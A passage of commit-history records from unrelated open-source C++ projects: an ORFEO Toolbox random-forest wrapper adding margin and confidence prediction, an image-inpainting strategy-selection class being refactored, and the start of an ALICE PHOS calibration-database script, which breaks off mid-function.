CvRTreesWrapper::getVarImportance() const\n{\n return m_Impl->getVarImportance();\n}\n\ncv::String CvRTreesWrapper::getDefaultName () const\n{\n return m_Impl->getDefaultName();\n}\n\n\nvoid CvRTreesWrapper::read (const cv::FileNode &fn)\n{\n m_Impl->read(fn);\n}\n\nvoid CvRTreesWrapper::write (cv::FileStorage &fs) const\n{\n m_Impl->write(fs);\n}\n\nvoid CvRTreesWrapper::save (const cv::String &filename) const\n{\n m_Impl->save(filename);\n}\n\nbool CvRTreesWrapper::train(cv::InputArray samples, int layout, cv::InputArray responses)\n{\n return m_Impl->train(samples,layout, responses);\n}\n\nbool CvRTreesWrapper::train( const cv::Ptr<cv::ml::TrainData>& trainData, int flags )\n{\n return m_Impl->train(trainData, flags);\n}\n\nfloat CvRTreesWrapper::predict (cv::InputArray samples, cv::OutputArray results, int flags) const\n{\n return m_Impl->predict(samples, results, flags);\n}\n\ncv::Ptr<CvRTreesWrapper> CvRTreesWrapper::create()\n {\n return cv::makePtr<CvRTreesWrapper>();\n }\n\n#undef OTB_CV_WRAP_IMPL\n#undef OTB_CV_WRAP_IMPL_REF\n#undef OTB_CV_WRAP_IMPL_CSTREF_GET\n#endif\n\n}\n<commit_msg>ENH: implement margin and confidence prediction for CvRTreesWrapper<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbCvRTreesWrapper.h\"\n#include <algorithm>\n#include <functional>\n\nnamespace otb\n{\n\nCvRTreesWrapper::CvRTreesWrapper()\n{\n#ifdef OTB_OPENCV_3\n m_Impl = cv::ml::RTrees::create();\n#endif\n}\n\nCvRTreesWrapper::~CvRTreesWrapper()\n{\n}\n\nvoid CvRTreesWrapper::get_votes(const cv::Mat& sample, \n const cv::Mat& missing,\n CvRTreesWrapper::VotesVectorType& vote_count) const\n{\n#ifdef OTB_OPENCV_3\n \/\/ missing samples not implemented yet\n (void) missing;\n\n \/\/ Here we have to re-implement a basic \"predict_tree()\" since the function is\n \/\/ not exposed anymore\n const std::vector< cv::ml::DTrees::Node > &nodes = m_Impl->getNodes();\n const std::vector< cv::ml::DTrees::Split > &splits = m_Impl->getSplits();\n const std::vector<int> &roots = m_Impl->getRoots();\n int ntrees = roots.size();\n int nodeIdx, prevNodeIdx;\n int predictedClass = -1;\n const float* samplePtr = sample.ptr<float>();\n std::map<int, unsigned int> votes;\n\n for (int t=0; t<ntrees ; t++)\n {\n nodeIdx = roots[t];\n prevNodeIdx = nodeIdx;\n while(1)\n {\n prevNodeIdx = nodeIdx;\n const cv::ml::DTrees::Node &curNode = nodes[nodeIdx];\n \/\/ test if this node is a leaf\n if (curNode.split < 0)\n break;\n const cv::ml::DTrees::Split& split = splits[curNode.split];\n int varIdx = split.varIdx;\n float val = samplePtr[varIdx];\n nodeIdx = val <= split.c ? curNode.left : curNode.right;\n }\n predictedClass = nodes[prevNodeIdx].classIdx;\n votes[predictedClass] += 1;\n }\n\n vote_count.resize(votes.size());\n int pos=0;\n for (std::map<int, unsigned int>::const_iterator it=votes.begin() ;\n it != votes.end() ;\n ++it)\n {\n vote_count[pos] = it->second;\n pos++;\n }\n\n if (vote_count.size() == 1)\n {\n \/\/ give at least 2 classes\n vote_count.push_back(0);\n }\n#else\n vote_count.resize(nclasses);\n for( int k = 0; k < ntrees; k++ )\n {\n CvDTreeNode* predicted_node = trees[k]->predict( sample, missing );\n int class_idx = predicted_node->class_idx;\n CV_Assert( 0 <= class_idx && class_idx < nclasses );\n ++vote_count[class_idx];\n }\n#endif\n}\n\nfloat CvRTreesWrapper::predict_margin(const cv::Mat& sample, \n const cv::Mat& missing) const\n{\n#ifdef OTB_OPENCV_3\n int ntrees = m_Impl->getRoots().size();\n#endif\n \/\/ Sanity check (division by ntrees later on)\n if(ntrees == 0)\n {\n return 0.;\n }\n std::vector<unsigned int> classVotes;\n this->get_votes(sample, missing, classVotes);\n\/\/ We only sort the 2 greatest elements\n std::nth_element(classVotes.begin(), classVotes.begin()+1, \n classVotes.end(), std::greater<unsigned int>());\n float margin = static_cast<float>(classVotes[0]-classVotes[1])\/ntrees;\n return margin;\n}\n\nfloat CvRTreesWrapper::predict_confidence(const cv::Mat& sample, \n const cv::Mat& missing) const\n{\n#ifdef OTB_OPENCV_3\n int ntrees = m_Impl->getRoots().size();\n#endif\n \/\/ Sanity check (division by ntrees later on)\n if(ntrees == 0)\n {\n return 0.;\n }\n std::vector<unsigned int> classVotes;\n this->get_votes(sample, missing, classVotes);\n unsigned int max_votes = *(std::max_element(classVotes.begin(), \n classVotes.end()));\n float confidence = static_cast<float>(max_votes)\/ntrees;\n return confidence;\n}\n\n#ifdef OTB_OPENCV_3\n#define OTB_CV_WRAP_IMPL(type,name) \\\ntype CvRTreesWrapper::get##name() const \\\n{ return m_Impl->get##name(); } \\\nvoid CvRTreesWrapper::set##name(type val) \\\n{ m_Impl->set##name(val); }\n\n#define OTB_CV_WRAP_IMPL_REF(type,name) \\\ntype CvRTreesWrapper::get##name() const \\\n{ return m_Impl->get##name(); } \\\nvoid CvRTreesWrapper::set##name(const type &val) \\\n{ m_Impl->set##name(val); }\n\n#define OTB_CV_WRAP_IMPL_CSTREF_GET(type, name) \\\nconst type& CvRTreesWrapper::get##name() const \\\n{ return m_Impl->get##name(); }\n\n\/\/ TODO : wrap all method used\nOTB_CV_WRAP_IMPL(int, MaxCategories)\nOTB_CV_WRAP_IMPL(int, MaxDepth)\nOTB_CV_WRAP_IMPL(int, MinSampleCount)\nOTB_CV_WRAP_IMPL(bool, UseSurrogates)\nOTB_CV_WRAP_IMPL(int, CVFolds)\nOTB_CV_WRAP_IMPL(bool, Use1SERule)\nOTB_CV_WRAP_IMPL(bool,TruncatePrunedTree)\nOTB_CV_WRAP_IMPL(float, RegressionAccuracy)\nOTB_CV_WRAP_IMPL(bool, CalculateVarImportance)\nOTB_CV_WRAP_IMPL(int, ActiveVarCount)\nOTB_CV_WRAP_IMPL_REF(cv::Mat, Priors)\nOTB_CV_WRAP_IMPL_REF(cv::TermCriteria, TermCriteria)\n\nOTB_CV_WRAP_IMPL_CSTREF_GET(std::vector<int>, Roots)\nOTB_CV_WRAP_IMPL_CSTREF_GET(std::vector<cv::ml::DTrees::Node>, Nodes)\nOTB_CV_WRAP_IMPL_CSTREF_GET(std::vector<cv::ml::DTrees::Split>, Splits)\nOTB_CV_WRAP_IMPL_CSTREF_GET(std::vector<int>, Subsets)\n\nint CvRTreesWrapper::getVarCount() const\n{\n return m_Impl->getVarCount();\n}\n\nbool CvRTreesWrapper::isTrained() const\n{\n return m_Impl->isTrained();\n}\n\nbool CvRTreesWrapper::isClassifier() const\n{\n return m_Impl->isClassifier();\n}\n\ncv::Mat CvRTreesWrapper::getVarImportance() const\n{\n return m_Impl->getVarImportance();\n}\n\ncv::String CvRTreesWrapper::getDefaultName () const\n{\n return m_Impl->getDefaultName();\n}\n\n\nvoid CvRTreesWrapper::read (const cv::FileNode &fn)\n{\n m_Impl->read(fn);\n}\n\nvoid CvRTreesWrapper::write (cv::FileStorage &fs) const\n{\n m_Impl->write(fs);\n}\n\nvoid CvRTreesWrapper::save (const cv::String &filename) const\n{\n m_Impl->save(filename);\n}\n\nbool CvRTreesWrapper::train(cv::InputArray samples, int layout, cv::InputArray responses)\n{\n return m_Impl->train(samples,layout, responses);\n}\n\nbool CvRTreesWrapper::train( const cv::Ptr<cv::ml::TrainData>& trainData, int flags )\n{\n return m_Impl->train(trainData, flags);\n}\n\nfloat CvRTreesWrapper::predict (cv::InputArray samples, cv::OutputArray results, int flags) const\n{\n return m_Impl->predict(samples, results, flags);\n}\n\ncv::Ptr<CvRTreesWrapper> CvRTreesWrapper::create()\n {\n return cv::makePtr<CvRTreesWrapper>();\n }\n\n#undef OTB_CV_WRAP_IMPL\n#undef OTB_CV_WRAP_IMPL_REF\n#undef OTB_CV_WRAP_IMPL_CSTREF_GET\n#endif\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright David Doria 2012 daviddoria@gmail.com\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#ifndef LinearSearchBestStrategySelection_HPP\n#define LinearSearchBestStrategySelection_HPP\n\n#include \"HistogramDifference.hpp\"\n\n#include <Utilities\/Histogram\/HistogramHelpers.hpp>\n#include <Utilities\/Histogram\/HistogramDifferences.hpp>\n\n#include <Utilities\/PatchHelpers.h>\n\n\/**\n * This function template is similar to std::min_element but can be used when the comparison\n * involves computing a derived quantity (a.k.a. distance). This algorithm will search for the\n * the element in the range [first,last) which has the \"smallest\" distance (of course, both the\n * distance metric and comparison can be overriden to perform something other than the canonical\n * Euclidean distance and less-than comparison, which would yield the element with minimum distance).\n * \\tparam DistanceValueType The value-type for the distance measures.\n * \\tparam DistanceFunctionType The functor type to compute the distance measure.\n * \\tparam CompareFunctionType The functor type that can compare two distance measures (strict weak-ordering).\n *\/\ntemplate <typename PropertyMapType, typename TImage>\nclass LinearSearchBestStrategySelection\n{\n PropertyMapType PropertyMap;\n TImage* Image;\n Mask* MaskImage;\n\n unsigned int Iteration;\n\npublic:\n \/** Constructor. This class requires the property map, an image, and a mask. *\/\n LinearSearchBestStrategySelection(PropertyMapType propertyMap, TImage* const image, Mask* const mask) :\n PropertyMap(propertyMap), Image(image), MaskImage(mask), Iteration(0)\n {}\n\n \/**\n * \\param first Start of the range in which to search.\n * \\param last One element past the last element in the range in which to search.\n * \\param query The element to compare to.\n * \\return The iterator to the best element in the range (best is defined as the one which would compare favorably to all\n * the elements in the range with respect to the distance metric).\n *\/\n template <typename TIterator>\n typename TIterator::value_type operator()(const TIterator first, const TIterator last, typename TIterator::value_type query)\n {\n std::cout << \"LinearSearchBestStrategySelection iteration: \" << this->Iteration << std::endl;\n\n \/\/ If the input element range is empty, there is nothing to do.\n if(first == last)\n {\n std::cerr << \"LinearSearchBestStrategySelection: Nothing to do...\" << std::endl;\n return *last;\n }\n\n PatchHelpers::WriteTopPatches(this->Image, this->PropertyMap, first, last, \"BestPatches\", this->Iteration);\n\n typedef float BinValueType;\n typedef QuadrantHistogramProperties<typename TImage::PixelType> QuadrantHistogramPropertiesType;\n typedef MaskedHistogramGenerator<BinValueType, QuadrantHistogramPropertiesType> MaskedHistogramGeneratorType;\n typedef typename MaskedHistogramGeneratorType::QuadrantHistogramType QuadrantHistogramType;\n\n itk::ImageRegion<2> queryRegion = get(this->PropertyMap, query).GetRegion();\n\n \/\/ We must construct the bounds using the pixels from the entire valid region, otherwise the quadrant histogram\n \/\/ bins will not correspond to each other!\n bool useProvidedRanges = true;\n\n typename TImage::PixelType minValue = 0;\n\n typename TImage::PixelType maxValue = 255;\n\n \/\/ Use the range of the valid region of the target patch for the histograms. This is not necessarily the right thing\n \/\/ to do, because we might have a pretty solid \"sky\" patch that has more white in one of the quadrants than blue so\n \/\/ these quadrant histograms would match poorly even though the whole valid region was \"sky\" without any hard lines.\n\/\/ typename TImage::PixelType minValue;\n\/\/ MaskOperations::FindMinimumValueInMaskedRegion(this->Image, this->MaskImage,\n\/\/ queryRegion, this->MaskImage->GetValidValue(), minValue);\n\n\/\/ typename TImage::PixelType maxValue;\n\/\/ MaskOperations::FindMaximumValueInMaskedRegion(this->Image, this->MaskImage,\n\/\/ queryRegion, this->MaskImage->GetValidValue(), maxValue);\n\n QuadrantHistogramProperties<typename TImage::PixelType> quadrantHistogramProperties;\n\n quadrantHistogramProperties.SetAllMinRanges(minValue);\n quadrantHistogramProperties.SetAllMaxRanges(maxValue);\n\n QuadrantHistogramType targetQuadrantHistogram =\n MaskedHistogramGeneratorType::ComputeQuadrantMaskedImage1DHistogramAdaptive(this->Image, queryRegion,\n this->MaskImage, queryRegion, quadrantHistogramProperties,\n useProvidedRanges, this->MaskImage->GetValidValue());\n\n targetQuadrantHistogram.NormalizeHistograms();\n\n std::vector<float> distances;\n\n for(unsigned int i = 0; i < 4; ++i)\n {\n if(!targetQuadrantHistogram.Properties.Valid[i])\n {\n continue;\n }\n\n for(unsigned int j = 0; j < 4; ++j)\n {\n if(i == j)\n {\n continue;\n }\n\n if(!targetQuadrantHistogram.Properties.Valid[j])\n {\n continue;\n }\n\n typedef typename MaskedHistogramGeneratorType::HistogramType HistogramType;\n\n float distance = HistogramDifferences::HistogramDifference(targetQuadrantHistogram.Histograms[i], targetQuadrantHistogram.Histograms[j]);\n\/\/ std::cout << \"distance \" << i << \" \" << j << \" \" << distance << std::endl;\n distances.push_back(distance);\n }\n }\n\n std::string logFileName = \"StrategySelection.txt\";\n std::ofstream fout(logFileName.c_str(), std::ios::app);\n\n \/\/ If there were no valid histograms to compare, just use the best SSD patch\n if(distances.size() == 0)\n {\n std::cout << \"Using best SSD patch (not enough valid histogram quadrants)...\" << std::endl;\n fout << \"F \" << Helpers::ZeroPad(this->Iteration, 3) << std::endl; \/\/ 'F'ail\n fout.close();\n this->Iteration++;\n return *first;\n }\n\n float maxDistance = Helpers::Max(distances);\n\n std::cout << \"maxDistance: \" << maxDistance << std::endl;\n bool useHistogramComparison = false;\n\n if(maxDistance < 0.5f)\n {\n useHistogramComparison = true;\n }\n\n if(useHistogramComparison)\n {\n std::cout << \"Using histogram comparison with minValue: \" << minValue\n << \" maxValue: \" << maxValue << std::endl;\n\/\/ LinearSearchBestHistogramDifference<PropertyMapType, TImage, TIterator>\n\/\/ histogramCheck(this->PropertyMap, this->Image, this->MaskImage);\n LinearSearchBestDualHistogramDifference<PropertyMapType, TImage, TIterator>\n histogramCheck(this->PropertyMap, this->Image, this->MaskImage);\n histogramCheck.SetRangeMin(minValue);\n histogramCheck.SetRangeMax(maxValue);\n histogramCheck.SetNumberOfBinsPerDimension(30);\n\n fout << \"H \" << Helpers::ZeroPad(this->Iteration, 3)\n << \" \" << maxDistance << \" : \" << distances << std::endl; \/\/ 'H'istogram\n fout.close();\n this->Iteration++;\n return histogramCheck(first, last, query);\n }\n else \/\/ Just use the best SSD match\n {\n std::cout << \"Using best SSD patch...\" << std::endl;\n fout << \"S \" << Helpers::ZeroPad(this->Iteration, 3)\n << \" \" << maxDistance << \" : \" << distances << std::endl; \/\/ 'S'SD\n fout.close();\n this->Iteration++;\n return *first;\n }\n\n }\n\n}; \/\/ end class\n\n#endif\n<commit_msg>Breakout histogram similarity test in preparation for adding more strategies.<commit_after>\/*=========================================================================\n *\n * Copyright David Doria 2012 daviddoria@gmail.com\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#ifndef LinearSearchBestStrategySelection_HPP\n#define LinearSearchBestStrategySelection_HPP\n\n#include \"HistogramDifference.hpp\"\n\n#include <Utilities\/Histogram\/HistogramHelpers.hpp>\n#include <Utilities\/Histogram\/HistogramDifferences.hpp>\n\n#include <Utilities\/PatchHelpers.h>\n\n\/**\n * This function template is similar to std::min_element but can be used when the comparison\n * involves computing a derived quantity (a.k.a. distance). This algorithm will search for the\n * the element in the range [first,last) which has the \"smallest\" distance (of course, both the\n * distance metric and comparison can be overriden to perform something other than the canonical\n * Euclidean distance and less-than comparison, which would yield the element with minimum distance).\n * \\tparam DistanceValueType The value-type for the distance measures.\n * \\tparam DistanceFunctionType The functor type to compute the distance measure.\n * \\tparam CompareFunctionType The functor type that can compare two distance measures (strict weak-ordering).\n *\/\ntemplate <typename PropertyMapType, typename TImage>\nclass LinearSearchBestStrategySelection\n{\n PropertyMapType PropertyMap;\n TImage* Image;\n Mask* MaskImage;\n\n unsigned int Iteration;\n\npublic:\n \/** Constructor. This class requires the property map, an image, and a mask. *\/\n LinearSearchBestStrategySelection(PropertyMapType propertyMap, TImage* const image, Mask* const mask) :\n PropertyMap(propertyMap), Image(image), MaskImage(mask), Iteration(0)\n {}\n\n typedef QuadrantHistogramProperties<typename TImage::PixelType> QuadrantHistogramPropertiesType;\n typedef std::pair<bool, QuadrantHistogramPropertiesType> UseHistogramReturnPairType;\n\n UseHistogramReturnPairType UseHistogramComparison(const itk::ImageRegion<2>& queryRegion)\n {\n typedef float BinValueType;\n\n typedef MaskedHistogramGenerator<BinValueType, QuadrantHistogramPropertiesType> MaskedHistogramGeneratorType;\n typedef typename MaskedHistogramGeneratorType::QuadrantHistogramType QuadrantHistogramType;\n\n \/\/ We must construct the bounds using the pixels from the entire valid region, otherwise the quadrant histogram\n \/\/ bins will not correspond to each other!\n bool useProvidedRanges = true;\n\n typename TImage::PixelType minValue = 0;\n\n typename TImage::PixelType maxValue = 255;\n\n \/\/ Use the range of the valid region of the target patch for the histograms. This is not necessarily the right thing\n \/\/ to do, because we might have a pretty solid \"sky\" patch that has more white in one of the quadrants than blue so\n \/\/ these quadrant histograms would match poorly even though the whole valid region was \"sky\" without any hard lines.\n\/\/ typename TImage::PixelType minValue;\n\/\/ MaskOperations::FindMinimumValueInMaskedRegion(this->Image, this->MaskImage,\n\/\/ queryRegion, this->MaskImage->GetValidValue(), minValue);\n\n\/\/ typename TImage::PixelType maxValue;\n\/\/ MaskOperations::FindMaximumValueInMaskedRegion(this->Image, this->MaskImage,\n\/\/ queryRegion, this->MaskImage->GetValidValue(), maxValue);\n\n QuadrantHistogramPropertiesType quadrantHistogramProperties;\n\n quadrantHistogramProperties.SetAllMinRanges(minValue);\n quadrantHistogramProperties.SetAllMaxRanges(maxValue);\n\n QuadrantHistogramType targetQuadrantHistogram =\n MaskedHistogramGeneratorType::ComputeQuadrantMaskedImage1DHistogramAdaptive(this->Image, queryRegion,\n this->MaskImage, queryRegion, quadrantHistogramProperties,\n useProvidedRanges, this->MaskImage->GetValidValue());\n\n targetQuadrantHistogram.NormalizeHistograms();\n\n std::vector<float> distances;\n\n for(unsigned int i = 0; i < 4; ++i)\n {\n if(!targetQuadrantHistogram.Properties.Valid[i])\n {\n continue;\n }\n\n for(unsigned int j = 0; j < 4; ++j)\n {\n if(i == j)\n {\n continue;\n }\n\n if(!targetQuadrantHistogram.Properties.Valid[j])\n {\n continue;\n }\n\n typedef typename MaskedHistogramGeneratorType::HistogramType HistogramType;\n\n float distance = HistogramDifferences::HistogramDifference(targetQuadrantHistogram.Histograms[i], targetQuadrantHistogram.Histograms[j]);\n \/\/ std::cout << \"distance \" << i << \" \" << j << \" \" << distance << std::endl;\n distances.push_back(distance);\n }\n }\n\n std::string logFileName = \"StrategySelection.txt\";\n std::ofstream fout(logFileName.c_str(), std::ios::app);\n\n \/\/ If there were no valid histograms to compare, just use the best SSD patch\n if(distances.size() == 0)\n {\n std::cout << \"Using best SSD patch (not enough valid histogram quadrants)...\" << std::endl;\n fout << \"F \" << Helpers::ZeroPad(this->Iteration, 3) << std::endl; \/\/ 'F'ail\n fout.close();\n this->Iteration++;\n return UseHistogramReturnPairType(false, quadrantHistogramProperties);\n }\n\n float maxDistance = Helpers::Max(distances);\n\n std::cout << \"maxDistance: \" << maxDistance << std::endl;\n\n if(maxDistance < 0.5f)\n {\n std::cout << \"Using histogram comparison with minValue: \" << minValue\n << \" maxValue: \" << maxValue << std::endl;\n return UseHistogramReturnPairType(true, quadrantHistogramProperties);\n }\n else\n {\n return UseHistogramReturnPairType(false, quadrantHistogramProperties);\n }\n\n }\n\n \/**\n * \\param first Start of the range in which to search.\n * \\param last One element past the last element in the range in which to search.\n * \\param query The element to compare to.\n * \\return The iterator to the best element in the range (best is defined as the one which would compare favorably to all\n * the elements in the range with respect to the distance metric).\n *\/\n template <typename TIterator>\n typename TIterator::value_type operator()(const TIterator first, const TIterator last, typename TIterator::value_type query)\n {\n std::cout << \"LinearSearchBestStrategySelection iteration: \" << this->Iteration << std::endl;\n\n \/\/ If the input element range is empty, there is nothing to do.\n if(first == last)\n {\n std::cerr << \"LinearSearchBestStrategySelection: Nothing to do...\" << std::endl;\n return *last;\n }\n\n PatchHelpers::WriteTopPatches(this->Image, this->PropertyMap, first, last, \"BestPatches\", this->Iteration);\n\n itk::ImageRegion<2> queryRegion = get(this->PropertyMap, query).GetRegion();\n\n UseHistogramReturnPairType useHistogramComparison = UseHistogramComparison(queryRegion);\n\n QuadrantHistogramPropertiesType quadrantHistogramProperties = useHistogramComparison.second;\n\n if(useHistogramComparison.first)\n {\n \/\/ LinearSearchBestHistogramDifference<PropertyMapType, TImage, TIterator>\n \/\/ histogramCheck(this->PropertyMap, this->Image, this->MaskImage);\n LinearSearchBestDualHistogramDifference<PropertyMapType, TImage, TIterator>\n histogramCheck(this->PropertyMap, this->Image, this->MaskImage);\n\n \/\/ This is a single histogram comparison, so we use the ranges of the 0th quadrant of the quadrant histogram. This is\n \/\/ only reasonable as long as the same range is used for each quadrant (which it is in UseHistogramComparison()).\n histogramCheck.SetRangeMin(quadrantHistogramProperties.QuadrantMinRanges[0]);\n histogramCheck.SetRangeMax(quadrantHistogramProperties.QuadrantMaxRanges[0]);\n histogramCheck.SetNumberOfBinsPerDimension(30);\n\n\/\/ fout << \"H \" << Helpers::ZeroPad(this->Iteration, 3)\n\/\/ << \" \" << maxDistance << \" : \" << distances << std::endl; \/\/ 'H'istogram\n\/\/ fout.close();\n this->Iteration++;\n return histogramCheck(first, last, query);\n }\n else \/\/ Just use the best SSD match\n {\n\/\/ std::cout << \"Using best SSD patch...\" << std::endl;\n\/\/ fout << \"S \" << Helpers::ZeroPad(this->Iteration, 3)\n\/\/ << \" \" << maxDistance << \" : \" << distances << std::endl; \/\/ 'S'SD\n\/\/ fout.close();\n this->Iteration++;\n return *first;\n }\n\n }\n\n}; \/\/ end class\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* $Id$ *\/\n\n\/\/ Script to create calibration parameters and store them into CDB\n\/\/ Two sets of calibration parameters can be created:\n\/\/ 1) equal parameters\n\/\/ 2) randomly distributed parameters for decalibrated detector silumations\n\n#if !defined(__CINT__)\n#include \"TControlBar.h\"\n#include \"TString.h\"\n#include \"TRandom.h\"\n#include \"TH2F.h\"\n#include \"TCanvas.h\"\n\n#include \"AliRun.h\"\n#include \"AliPHOSCalibData.h\"\n#include \"AliCDBMetaData.h\"\n#include \"AliCDBId.h\"\n#include \"AliCDBEntry.h\"\n#include \"AliCDBManager.h\"\n#include \"AliCDBStorage.h\"\n#endif\n\nstatic const Int_t nMod = 5;\nstatic const Int_t nCol = 56;\nstatic const Int_t nRow = 64;\n\nvoid AliPHOSSetCDB()\n{\n TControlBar *menu = new TControlBar(\"vertical\",\"PHOS CDB\");\n menu->AddButton(\"Help to run PHOS CDB\",\"Help()\",\n\t\t \"Explains how to use PHOS CDS menus\");\n menu->AddButton(\"Equal CC\",\"SetCC(0)\",\n\t\t \"Set equal calibration coefficients\");\n menu->AddButton(\"Decalibrate\",\"SetCC(1)\",\n\t\t \"Set random decalibration calibration coefficients\");\n menu->AddButton(\"Set calibration equal to invers decalibration coefficients\",\"SetCC(2)\",\n\t\t \"Set calibration coefficients inverse to decalibration ones\");\n menu->AddButton(\"Residual calibration\",\"SetCC(3)\",\n\t\t \"Set residual decalibration calibration coefficients\");\n\n menu->AddButton(\"Read equal CC\",\"GetCC(0)\",\n\t\t \"Read initial equal calibration coefficients\");\n menu->AddButton(\"Read random CC\",\"GetCC(1)\",\n\t\t \"Read random decalibration calibration coefficients\");\n menu->AddButton(\"Read inverse CC\",\"GetCC(2)\",\n\t\t \"Read calibration coefficients inverse to decalibration ones\");\n menu->AddButton(\"Read residual CC\",\"GetCC(3)\",\n\t\t \"Read residial calibration coefficients\");\n menu->Show();\n}\n\n\/\/------------------------------------------------------------------------\nvoid Help()\n{\n char *string =\n \"\\nSet calibration parameters and write them into ALICE CDB.\nPress button \\\"Equal CC\\\" to create equal pedestals and gain factors.\nPress button \\\"Decalibrate\\\" to create random pedestals and gain factors to imitate decalibrated detector\\n\";\n printf(string);\n}\n\n\/\/------------------------------------------------------------------------\nvoid SetCC(Int_t flag=0)\n{\n \/\/ Writing calibration coefficients into the Calibration DB\n \/\/ Arguments:\n \/\/ flag=0: all calibration coefficients are equal\n \/\/ flag=1: decalibration coefficients\n \/\/ flag=2: calibration coefficients equal to inverse decalibration ones\n \/\/ Author: Boris Polishchuk (Boris.Polichtchouk at cern.ch)\n\n TString DBFolder;\n Int_t firstRun = 0;\n Int_t lastRun = 0;\n Int_t beamPeriod = 1;\n char* objFormat = \"\";\n\n AliPHOSCalibData* cdb = 0;\n\n if (flag == 0) {\n DBFolder =\"local:\/\/InitCalibDB\";\n firstRun = 0;\n lastRun = 999999;\n objFormat = \"PHOS initial pedestals and ADC gain factors (5x64x56)\";\n cdb = new AliPHOSCalibData();\n cdb->CreateNew();\n }\n\n else if (flag == 1) {\n DBFolder =\"local:\/\/DeCalibDB\";\n firstRun = 0;\n lastRun = 999999;\n objFormat = \"PHOS decalibration pedestals and ADC gain factors (5x64x56)\";\n \n cdb = new AliPHOSCalibData(); \n cdb->RandomEmc();\n cdb->RandomCpv();\n }\n \n else if (flag == 2) {\n \/\/ First read decalibration DB\n AliCDBManager::Instance()->SetDefaultStorage(\"local:\/\/$ALICE_ROOT\");\n AliCDBManager::Instance()->SetSpecificStorage(\"PHOS\/*\",\"local:\/\/DeCalibDB\");\n AliPHOSCalibData* cdbDecalib = new AliPHOSCalibData(100);\n\n DBFolder =\"local:\/\/InverseCalibDB\";\n firstRun = 0;\n lastRun = 999999;\n objFormat = \"PHOS calibration parameters equal to inverse decalibration ones (5x64x56)\";\n cdb = new AliPHOSCalibData(); \n\n \/\/ Read EMC decalibration parameters and put inverse values to a new artificial CDB\n\n for (Int_t module=1; module<=nMod; module++) {\n for (Int_t column=1; column<=nCol; column++) {\n\tfor (Int_t row=1; row<=nRow; row++) {\n\t Float_t valueGain = cdbDecalib->GetADCchannelEmc (module,column,row);\n\t Float_t valuePed = cdbDecalib->GetADCpedestalEmc(module,column,row);\n\t cdb->SetADCchannelEmc(module,column,row,1.\/valueGain);\n\t cdb->SetADCpedestalEmc(module,column,row,valuePed);\n\t}\n }\n }\n\n \/\/ Read CPV decalibration parameters and put inverse values to a new artificial CDB\n\n for (Int_t module=1; module<=nMod; module++) {\n for (Int_t column=1; column<=nCol*2; column++) {\n\tfor (Int_t row=1; row<=nRow; row++) {\n\t Float_t valueGain = cdbDecalib->GetADCchannelCpv (module,column,row);\n\t Float_t valuePed = cdbDecalib->GetADCpedestalCpv(module,column,row);\n\t cdb->SetADCchannelCpv(module,column,row,1.\/valueGain);\n\t cdb->SetADCpedestalCpv(module,column,row,valuePed);\n\t}\n }\n }\n }\n else if (flag == 3) {\n DBFolder =\"local:\/\/ResidualCalibDB\";\n firstRun = 0;\n lastRun = 999999;\n objFormat = \"PHOS residual ADC gain factors (5x64x56)\";\n \n cdb = new AliPHOSCalibData(); \n cdb->RandomEmc(0.98,1.02);\n cdb->RandomCpv(0.00115,0.00125);\n }\n \n \/\/Store calibration data into database\n \n AliCDBMetaData md;\n md.SetComment(objFormat);\n md.SetBeamPeriod(beamPeriod);\n md.SetResponsible(\"Boris Polichtchouk\");\n \n AliCDBManager::Instance()->SetDefaultStorage(\"local:\/\/$ALICE_ROOT\");\n AliCDBManager::Instance()->SetSpecificStorage(\"PHOS\/*\",DBFolder.Data());\n\n cdb->WriteEmc(firstRun,lastRun,&md);\n cdb->WriteCpv(firstRun,lastRun,&md);\n\n}\n\n\/\/------------------------------------------------------------------------\nvoid GetCC(Int_t flag=0)\n{\n \/\/ Read calibration coefficients into the Calibration DB\n \/\/ Arguments:\n \/\/ flag=0: all calibration coefficients are equal\n \/\/ flag=1: decalibration coefficients\n \/\/ flag=2: calibration coefficients equal to inverse decalibration ones\n \/\/ Author: Yuri.Kharlov at cern.ch\n\n TString DBFolder;\n Int_t runNumber;\n\n if (flag == 0) {\n DBFolder =\"local:\/\/InitCalibDB\";\n runNumber = 0;\n }\n else if (flag == 1) {\n DBFolder =\"local:\/\/DeCalibDB\";\n runNumber = 100;\n }\n else if (flag == 2) {\n DBFolder =\"local:\/\/InverseCalibDB\";\n runNumber = 200;\n }\n else if (flag == 2) {\n DBFolder =\"local:\/\/ResidualCalibDB\";\n runNumber = 0;\n }\n\n AliCDBManager::Instance()->SetDefaultStorage(\"local:\/\/$ALICE_ROOT\");\n AliCDBManager::Instance()->SetSpecificStorage(\"PHOS\/*\",DBFolder.Data());\n\n AliPHOSCalibData* clb = new AliPHOSCalibData(runNumber);\n\n TH2::AddDirectory(kFALSE);\n\n TH2F* hPed[5];\n TH2F* hGain[5];\n\n TCanvas *cPed = new TCanvas(\"cPed\" ,\"PHOS EMC Pedestals\" , 10,10,400,800);\n TCanvas *cGain = new TCanvas(\"cGain\",\"PHOS EMC Gain factors\",410,10,400,800);\n cPed ->Divide(1,5);\n cGain->Divide(1,5);\n\n for (Int_t module=1; module<=nMod; module++) {\n TString 